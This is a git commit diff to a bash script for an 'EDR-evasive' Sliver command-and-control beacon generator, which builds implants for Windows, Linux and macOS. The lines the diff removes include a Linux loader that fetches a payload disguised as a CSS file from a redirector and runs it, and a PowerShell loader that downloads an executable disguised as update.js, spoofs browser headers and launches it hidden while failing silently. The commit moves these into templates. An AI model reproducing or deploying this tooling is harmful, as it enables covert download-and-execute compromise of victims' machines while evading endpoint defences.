trying to fix it all
This commit is contained in:
@@ -1,5 +1,5 @@
|
||||
#!/bin/bash
|
||||
# Corrected EDR-evasive beacon generator with templated redirector integration
|
||||
# Corrected EDR-evasive beacon generator with template files
|
||||
|
||||
# Configuration (automatically populated by Ansible)
|
||||
BEACONS_DIR="/opt/beacons"
|
||||
@@ -99,82 +99,45 @@ stager_win=$(random_output_name "windows")
|
||||
sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win"
|
||||
echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
|
||||
|
||||
# Create a manifest file for the serve-beacons.sh script to use
|
||||
cat > "$BEACONS_DIR/manifest.json" << EOF
|
||||
{
|
||||
"windows_exe": "$win_output",
|
||||
"windows_dll": "$dll_output",
|
||||
"linux_binary": "$linux_output",
|
||||
"macos_binary": "$mac_output",
|
||||
"windows_stager": "staged/$stager_win",
|
||||
"win_profile": "$win_profile",
|
||||
"dll_profile": "$dll_profile",
|
||||
"linux_profile": "$linux_profile",
|
||||
"mac_profile": "$mac_profile",
|
||||
"stager_profile": "$stager_profile",
|
||||
"redirector_host": "$REDIRECTOR_HOST",
|
||||
"redirector_port": "$REDIRECTOR_PORT",
|
||||
"c2_host": "$C2_HOST",
|
||||
"generated_date": "$(date)"
|
||||
}
|
||||
EOF
|
||||
# Create manifest file from template
|
||||
cp /opt/c2/manifest.template "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/WINDOWS_EXE/$win_output/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/WINDOWS_DLL/$dll_output/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/LINUX_BINARY/$linux_output/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/MACOS_BINARY/$mac_output/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/WINDOWS_STAGER/staged\/$stager_win/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/WIN_PROFILE/$win_profile/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/DLL_PROFILE/$dll_profile/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/LINUX_PROFILE/$linux_profile/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/MAC_PROFILE/$mac_profile/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/STAGER_PROFILE/$stager_profile/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/REDIRECTOR_PORT/$REDIRECTOR_PORT/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/C2_HOST/$C2_HOST/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/GENERATED_DATE/$(date)/g" "$BEACONS_DIR/manifest.json"
|
||||
|
||||
# Create loader scripts with redirector integration
|
||||
cat > "$BEACONS_DIR/linux_loader.sh" << 'EOFLINUX'
|
||||
#!/bin/bash
|
||||
# Loader script for Linux beacon
|
||||
curl -s https://REDIRECTOR_PLACEHOLDER/static/css/linux.css -H "Accept-Language: en-US,en;q=0.9" -o /tmp/linux_update
|
||||
chmod +x /tmp/linux_update
|
||||
/tmp/linux_update &
|
||||
EOFLINUX
|
||||
|
||||
# Replace placeholder with actual redirector host
|
||||
# Create Linux loader from template
|
||||
cp /opt/c2/linux_loader.template "$BEACONS_DIR/linux_loader.sh"
|
||||
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/linux_loader.sh"
|
||||
chmod +x "$BEACONS_DIR/linux_loader.sh"
|
||||
|
||||
# Create PowerShell stager with improved OPSEC
|
||||
cat > "$BEACONS_DIR/windows_loader.ps1" << 'EOFPS'
|
||||
# Windows PowerShell Beacon Loader
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
$ErrorActionPreference = "SilentlyContinue"
|
||||
$wc = New-Object System.Net.WebClient
|
||||
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||
$wc.Headers.Add("Referer", "https://REDIRECTOR_PLACEHOLDER/")
|
||||
$url = "https://REDIRECTOR_PLACEHOLDER/static/js/update.js"
|
||||
$outpath = "$env:TEMP\update-$(New-Guid).exe"
|
||||
try {
|
||||
$wc.DownloadFile($url, $outpath)
|
||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||
Start-Process -WindowStyle Hidden -FilePath $outpath
|
||||
} catch {
|
||||
# Fail silently
|
||||
}
|
||||
EOFPS
|
||||
|
||||
# Replace placeholder with actual redirector host
|
||||
# Create Windows PowerShell loader from template
|
||||
cp /opt/c2/windows_loader.template "$BEACONS_DIR/windows_loader.ps1"
|
||||
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/windows_loader.ps1"
|
||||
|
||||
# Create index of generated files
|
||||
cat > "$BEACONS_DIR/reference.txt" << EOF
|
||||
C2 Server Details:
|
||||
- C2 IP: $C2_HOST
|
||||
- Redirector Domain: $REDIRECTOR_HOST
|
||||
|
||||
Beacons Generated ($(date)):
|
||||
- Windows EXE: $win_output (Profile: $win_profile)
|
||||
- Windows DLL: $dll_output (Profile: $dll_profile)
|
||||
- Linux Binary: $linux_output (Profile: $linux_profile)
|
||||
- macOS Binary: $mac_output (Profile: $mac_profile)
|
||||
- Windows Stager: staged/$stager_win (Profile: $stager_profile)
|
||||
|
||||
Usage:
|
||||
1. Ensure your redirector is properly configured to forward requests to the C2 server
|
||||
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
|
||||
3. Test connectivity before deployment in target environment
|
||||
|
||||
IMPORTANT: These beacons will connect to $REDIRECTOR_HOST on port $REDIRECTOR_PORT
|
||||
EOF
|
||||
|
||||
echo "[+] Beacon generation with redirector integration complete"
|
||||
echo "[+] Run serve-beacons.sh to start serving these Sliver beacons"
|
||||
# Create reference file from template
|
||||
cp /opt/c2/reference.template "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/C2_HOST/$C2_HOST/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/WINDOWS_EXE/$win_output/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/WINDOWS_DLL/$dll_output/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/LINUX_BINARY/$linux_output/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/MACOS_BINARY/$mac_output/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/WINDOWS_STAGER/$stager_win/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/WIN_PROFILE/$win_profile/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/DLL_PROFILE/$dll_profile/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/LINUX_PROFILE/$linux_profile/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/MAC_PROFILE/$mac_profile/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/STAGER_PROFILE/$stager_profile/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/REDIRECTOR_PORT/$REDIRECTOR_PORT/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/GENERATED_DATE/$(date)/g" "$BEACONS_DIR/reference.txt"
|
||||
Reference in New Issue
Block a user